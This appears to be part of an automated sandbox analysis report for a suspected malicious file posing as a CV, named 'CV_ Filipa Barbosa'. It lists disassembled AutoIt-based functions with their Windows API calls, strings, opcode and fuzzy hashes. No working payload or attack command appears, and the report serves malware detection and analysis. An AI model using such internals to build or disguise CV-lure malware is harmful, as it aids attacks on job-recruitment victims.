                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 2ec12c2821322ddbbb525294731c55b62380f604c8f29e9d14e3e7cccff8eabe
                                                                          • Instruction ID: f9c9b0efa70a32d28d6c9d3e80ab964087d0c106ebb9ae88604453e7b9a8e8b0
                                                                          • Opcode Fuzzy Hash: 2ec12c2821322ddbbb525294731c55b62380f604c8f29e9d14e3e7cccff8eabe
                                                                          • Instruction Fuzzy Hash: 56127070A0060ADFDF04DFA9D999AEEBBF6FF48300F104569E406E7290EB35A915CB51
                                                                          Function 0059AF50 Relevance: .5, Instructions: 514COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Exception@8Throwstd::exception::exception
                                                                          • String ID:
                                                                          • API String ID: 3728558374-0
                                                                          • Opcode ID: b2a6b7701e455bb01c8c1a3915d39b5ff8e3c050a67b161d28dc180553bf705d
                                                                          • Instruction ID: e7701d536a9bdf0a3493daf67329538fe11e7c64fa88dfc435f36ad5bd2cb605
                                                                          • Opcode Fuzzy Hash: b2a6b7701e455bb01c8c1a3915d39b5ff8e3c050a67b161d28dc180553bf705d
                                                                          • Instruction Fuzzy Hash: 3302B470A00206DFDF08DF64D999AAFBBB5FF85300F108469E806DB295EB35D915CB91
                                                                          Function 005B02A4 Relevance: .3, Instructions: 345COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 6bcf19402166b509fafb4c50a64371ef2a93877f8d810bfc08732e8a9195a1a8
                                                                          • Instruction ID: 056ade5292c4ba68e4ebbff97008bebcb73fc519d1fa5dada367ec642a53fbe1
                                                                          • Opcode Fuzzy Hash: 6bcf19402166b509fafb4c50a64371ef2a93877f8d810bfc08732e8a9195a1a8
                                                                          • Instruction Fuzzy Hash: 26C191322051930ADFAD463A843447FBFA57AA27B131A276DD8B3CB4D5EF20D524D720
                                                                          Function 005B06D9 Relevance: .3, Instructions: 341COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 2d76c3bdd49f8e00aad6e71f29a941d673537f809e9b181fbd8d4251c6dfdf40
                                                                          • Instruction ID: 59b7a1063f2db0c80a60434ec3dc52e42eb7ac40c5026c422fce1b58bd4735b2
                                                                          • Opcode Fuzzy Hash: 2d76c3bdd49f8e00aad6e71f29a941d673537f809e9b181fbd8d4251c6dfdf40
                                                                          • Instruction Fuzzy Hash: 26C1923220519309DFAD463AC43447FFEA57AA2BB131A276DD4B2CB4D5EF20E524D720
                                                                          Function 005AFA57 Relevance: .3, Instructions: 323COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
                                                                          • Instruction ID: 134ef450a0408ca68938f7365bacb42a10f6429e423bdd7fda7b4404188eca3e
                                                                          • Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
                                                                          • Instruction Fuzzy Hash: 0CC1803220909709DFAD46BAC47443EBFA66AA3BB131A077DD4B2CB5D5EF20C564D720
                                                                          Function 005EA2A9 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 490filecommemoryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • DeleteObject.GDI32(00000000), ref: 005EA2FE
                                                                          • DeleteObject.GDI32(00000000), ref: 005EA310
                                                                          • DestroyWindow.USER32 ref: 005EA31E
                                                                          • GetDesktopWindow.USER32 ref: 005EA338
                                                                          • GetWindowRect.USER32(00000000), ref: 005EA33F
                                                                          • SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 005EA480
                                                                          • AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 005EA490
                                                                          • CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 005EA4D8
                                                                          • GetClientRect.USER32(00000000,?), ref: 005EA4E4
                                                                          • CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 005EA51E
                                                                          • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 005EA540
                                                                          • GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 005EA553
                                                                          • GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 005EA55E
                                                                          • GlobalLock.KERNEL32(00000000), ref: 005EA567
                                                                          • ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 005EA576
                                                                          • GlobalUnlock.KERNEL32(00000000), ref: 005EA57F
                                                                          • CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 005EA586
                                                                          • GlobalFree.KERNEL32(00000000), ref: 005EA591
                                                                          • CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 005EA5A3
                                                                          • OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,0061D9BC,00000000), ref: 005EA5B9
                                                                          • GlobalFree.KERNEL32(00000000), ref: 005EA5C9
                                                                          • CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 005EA5EF
                                                                          • SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 005EA60E
                                                                          • SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 005EA630
                                                                          • ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 005EA81D
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
                                                                          • String ID: $AutoIt v3$DISPLAY$static
                                                                          • API String ID: 2211948467-2373415609
                                                                          • Opcode ID: 80687be6771366cccd13293a3a7977f6fcb9e96aebca5fbf6fae5c439cadc8b0
                                                                          • Instruction ID: e9bd645e216682c6e7fa409264f627921db76685fc687f3867af5352fc535efe
                                                                          • Opcode Fuzzy Hash: 80687be6771366cccd13293a3a7977f6fcb9e96aebca5fbf6fae5c439cadc8b0
                                                                          • Instruction Fuzzy Hash: 15029A75900255AFCF14DFA5CC89EAE7FBAFB49310F048559F905AB2A0DB34AD41CB60
                                                                          Function 005FD285 Relevance: 49.8, APIs: 33, Instructions: 260COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SetTextColor.GDI32(?,00000000), ref: 005FD2DB
                                                                          • GetSysColorBrush.USER32(0000000F), ref: 005FD30C
                                                                          • GetSysColor.USER32(0000000F), ref: 005FD318
                                                                          • SetBkColor.GDI32(?,000000FF), ref: 005FD332
                                                                          • SelectObject.GDI32(?,00000000), ref: 005FD341
                                                                          • InflateRect.USER32(?,000000FF,000000FF), ref: 005FD36C
                                                                          • GetSysColor.USER32(00000010), ref: 005FD374
                                                                          • CreateSolidBrush.GDI32(00000000), ref: 005FD37B
                                                                          • FrameRect.USER32(?,?,00000000), ref: 005FD38A
                                                                          • DeleteObject.GDI32(00000000), ref: 005FD391
                                                                          • InflateRect.USER32(?,000000FE,000000FE), ref: 005FD3DC
                                                                          • FillRect.USER32(?,?,00000000), ref: 005FD40E
                                                                          • GetWindowLongW.USER32(?,000000F0), ref: 005FD439
                                                                            • Part of subcall function 005FD575: GetSysColor.USER32(00000012), ref: 005FD5AE
                                                                            • Part of subcall function 005FD575: SetTextColor.GDI32(?,?), ref: 005FD5B2
                                                                            • Part of subcall function 005FD575: GetSysColorBrush.USER32(0000000F), ref: 005FD5C8
                                                                            • Part of subcall function 005FD575: GetSysColor.USER32(0000000F), ref: 005FD5D3
                                                                            • Part of subcall function 005FD575: GetSysColor.USER32(00000011), ref: 005FD5F0
                                                                            • Part of subcall function 005FD575: CreatePen.GDI32(00000000,00000001,00743C00), ref: 005FD5FE
                                                                            • Part of subcall function 005FD575: SelectObject.GDI32(?,00000000), ref: 005FD60F
                                                                            • Part of subcall function 005FD575: SetBkColor.GDI32(?,00000000), ref: 005FD618
                                                                            • Part of subcall function 005FD575: SelectObject.GDI32(?,?), ref: 005FD625
                                                                            • Part of subcall function 005FD575: InflateRect.USER32(?,000000FF,000000FF), ref: 005FD644
                                                                            • Part of subcall function 005FD575: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 005FD65B
                                                                            • Part of subcall function 005FD575: GetWindowLongW.USER32(00000000,000000F0), ref: 005FD670
                                                                            • Part of subcall function 005FD575: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 005FD698
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
                                                                          • String ID:
                                                                          • API String ID: 3521893082-0
                                                                          • Opcode ID: d651a47c26c6391e5f68e068e58588f7b7ae172a0aeba350b3a81bd1d5ae0115
                                                                          • Instruction ID: e72c7ed101df11cd13330b90b0d6db1a3ebb313cbe2fb4d45b9db56ede83c55d
                                                                          • Opcode Fuzzy Hash: d651a47c26c6391e5f68e068e58588f7b7ae172a0aeba350b3a81bd1d5ae0115
                                                                          • Instruction Fuzzy Hash: 86918071008305BFCB109F64DC08AABBBBBFB89325F145A1AFA52961E0C775D944CB62
                                                                          Function 005AB8FD Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 491windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • DestroyWindow.USER32 ref: 005AB98B
                                                                          • DeleteObject.GDI32(00000000), ref: 005AB9CD
                                                                          • DeleteObject.GDI32(00000000), ref: 005AB9D8
                                                                          • DestroyIcon.USER32(00000000), ref: 005AB9E3
                                                                          • DestroyWindow.USER32(00000000), ref: 005AB9EE
                                                                          • SendMessageW.USER32(?,00001308,?,00000000), ref: 0060D2AA
                                                                          • ImageList_Remove.COMCTL32(?,000000FF,?), ref: 0060D2E3
                                                                          • MoveWindow.USER32(00000000,?,?,?,?,00000000), ref: 0060D711
                                                                            • Part of subcall function 005AB9FF: InvalidateRect.USER32(?,00000000,00000001,?,?,?,005AB759,?,00000000,?,?,?,?,005AB72B,00000000,?), ref: 005ABA58
                                                                          • SendMessageW.USER32 ref: 0060D758
                                                                          • SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 0060D76F
                                                                          • ImageList_Destroy.COMCTL32(00000000), ref: 0060D785
                                                                          • ImageList_Destroy.COMCTL32(00000000), ref: 0060D790
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
                                                                          • String ID: 0
                                                                          • API String ID: 464785882-4108050209
                                                                          • Opcode ID: 048c75ed0ccb595b94ef28f06d7303b641937427a1a6769e7443651c3b2c3fa2
                                                                          • Instruction ID: 4fc4f5961d0aace01882e801810b05403efdaa8d9ac693d241a735455aaf0de8
                                                                          • Opcode Fuzzy Hash: 048c75ed0ccb595b94ef28f06d7303b641937427a1a6769e7443651c3b2c3fa2
                                                                          • Instruction Fuzzy Hash: A7128130544211DFDB19CF64C884BAABBF6FF4A304F184669E989CB2A2C731EC45CB91
                                                                          Function 005DDBC4 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 187COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SetErrorMode.KERNEL32(00000001), ref: 005DDBD6
                                                                          • GetDriveTypeW.KERNEL32(?,0062DC54,?,\\.\,0062DC00), ref: 005DDCC3
                                                                          • SetErrorMode.KERNEL32(00000000,0062DC54,?,\\.\,0062DC00), ref: 005DDE29
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ErrorMode$DriveType
                                                                          • String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
                                                                          • API String ID: 2907320926-4222207086
                                                                          • Opcode ID: cff6a4800d51a89f9da96c8bda05641c42053cbd4e1808b221fa42256e7346fd
                                                                          • Instruction ID: bfe0fe6ac264c52ec63f89cc55b27a277e6dd361d47603e28b0e41b31e1b5a8a
                                                                          • Opcode Fuzzy Hash: cff6a4800d51a89f9da96c8bda05641c42053cbd4e1808b221fa42256e7346fd
                                                                          • Instruction Fuzzy Hash: C951A430248752AB8B30EF28C986929BFB3FBE4744B25481BF0479B391DB70D945D762
                                                                          Function 0059CC24 Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 267COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: __wcsnicmp
                                                                          • String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
                                                                          • API String ID: 1038674560-86951937
                                                                          • Opcode ID: ae08e2ed2e84116894eabfa72c91429bec84e660a5a10a36a875fd8cd1a187d4
                                                                          • Instruction ID: 27b5eed80f28caf63c3ba00704dde910065a0a7deab514d54c3ded15b5717366
                                                                          • Opcode Fuzzy Hash: ae08e2ed2e84116894eabfa72c91429bec84e660a5a10a36a875fd8cd1a187d4
                                                                          • Instruction Fuzzy Hash: 5E811730680717BACF24AB64DCAAFEF3F6ABF55340F044425F905AA2C2EB60D941C795
                                                                          Function 005FC6E9 Relevance: 42.4, APIs: 23, Strings: 1, Instructions: 447windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013,?,?,?), ref: 005FC788
                                                                          • SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 005FC83E
                                                                          • SendMessageW.USER32(?,00001102,00000002,?), ref: 005FC859
                                                                          • SendMessageW.USER32(?,000000F1,?,00000000), ref: 005FCB15
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$Window
                                                                          • String ID: 0
                                                                          • API String ID: 2326795674-4108050209
                                                                          • Opcode ID: 0b1d9526162d3defe59d21c849600014cfb01884f36d216763c74d2d4fee9ffa
                                                                          • Instruction ID: 20b590b06a73d5a6adaf4eb8ac2bd2735c29e25e44df057d3cd9793fb858471c
                                                                          • Opcode Fuzzy Hash: 0b1d9526162d3defe59d21c849600014cfb01884f36d216763c74d2d4fee9ffa
                                                                          • Instruction Fuzzy Hash: B3F1D17410430DAFE7218F24CA49BBABFE5FF89354F08492DF699962A1C778D844CB91
                                                                          Function 005F638D Relevance: 42.4, APIs: 1, Strings: 23, Instructions: 352COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CharUpperBuffW.USER32(?,?,0062DC00), ref: 005F6449
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: BuffCharUpper
                                                                          • String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
                                                                          • API String ID: 3964851224-45149045
                                                                          • Opcode ID: d63efd34b07f1d0ca4f52bfeab6f273f01bd6bb9444e51d872f47de3321f935f
                                                                          • Instruction ID: 87f5f2c03d8b3cd3c07636394e78de3bcb8e1d3ddf2a4bd27016a561559c64c9
                                                                          • Opcode Fuzzy Hash: d63efd34b07f1d0ca4f52bfeab6f273f01bd6bb9444e51d872f47de3321f935f
                                                                          • Instruction Fuzzy Hash: D2C17D3020424A9FCB04FF14C566A7E7FA6BFD5354F00485DF9865B2A2DB25ED4ACB82
                                                                          Function 005FD575 Relevance: 39.2, APIs: 26, Instructions: 186windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetSysColor.USER32(00000012), ref: 005FD5AE
                                                                          • SetTextColor.GDI32(?,?), ref: 005FD5B2
                                                                          • GetSysColorBrush.USER32(0000000F), ref: 005FD5C8
                                                                          • GetSysColor.USER32(0000000F), ref: 005FD5D3
                                                                          • CreateSolidBrush.GDI32(?), ref: 005FD5D8
                                                                          • GetSysColor.USER32(00000011), ref: 005FD5F0
                                                                          • CreatePen.GDI32(00000000,00000001,00743C00), ref: 005FD5FE
                                                                          • SelectObject.GDI32(?,00000000), ref: 005FD60F
                                                                          • SetBkColor.GDI32(?,00000000), ref: 005FD618
                                                                          • SelectObject.GDI32(?,?), ref: 005FD625
                                                                          • InflateRect.USER32(?,000000FF,000000FF), ref: 005FD644
                                                                          • RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 005FD65B
                                                                          • GetWindowLongW.USER32(00000000,000000F0), ref: 005FD670
                                                                          • SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 005FD698
                                                                          • GetWindowTextW.USER32(00000000,00000000,00000001), ref: 005FD6BF
                                                                          • InflateRect.USER32(?,000000FD,000000FD), ref: 005FD6DD
                                                                          • DrawFocusRect.USER32(?,?), ref: 005FD6E8
                                                                          • GetSysColor.USER32(00000011), ref: 005FD6F6
                                                                          • SetTextColor.GDI32(?,00000000), ref: 005FD6FE
                                                                          • DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 005FD712
                                                                          • SelectObject.GDI32(?,005FD2A5), ref: 005FD729
                                                                          • DeleteObject.GDI32(?), ref: 005FD734
                                                                          • SelectObject.GDI32(?,?), ref: 005FD73A
                                                                          • DeleteObject.GDI32(?), ref: 005FD73F
                                                                          • SetTextColor.GDI32(?,?), ref: 005FD745
                                                                          • SetBkColor.GDI32(?,?), ref: 005FD74F
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
                                                                          • String ID:
                                                                          • API String ID: 1996641542-0
                                                                          • Opcode ID: 3725534d2fd85b601584196cf93fab3361a3125ca72edb314035a455304348ac
                                                                          • Instruction ID: 41f1be98ab985ad6123fcdbf5356991aef2f908336cf28f6c51c346a1695df20
                                                                          • Opcode Fuzzy Hash: 3725534d2fd85b601584196cf93fab3361a3125ca72edb314035a455304348ac
                                                                          • Instruction Fuzzy Hash: 4B514C71900218BFDF109FA4DC49EEE7B7AFB08324F149516FA15AB2A1D7759A40CB60
                                                                          Function 005FB6C4 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 400windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
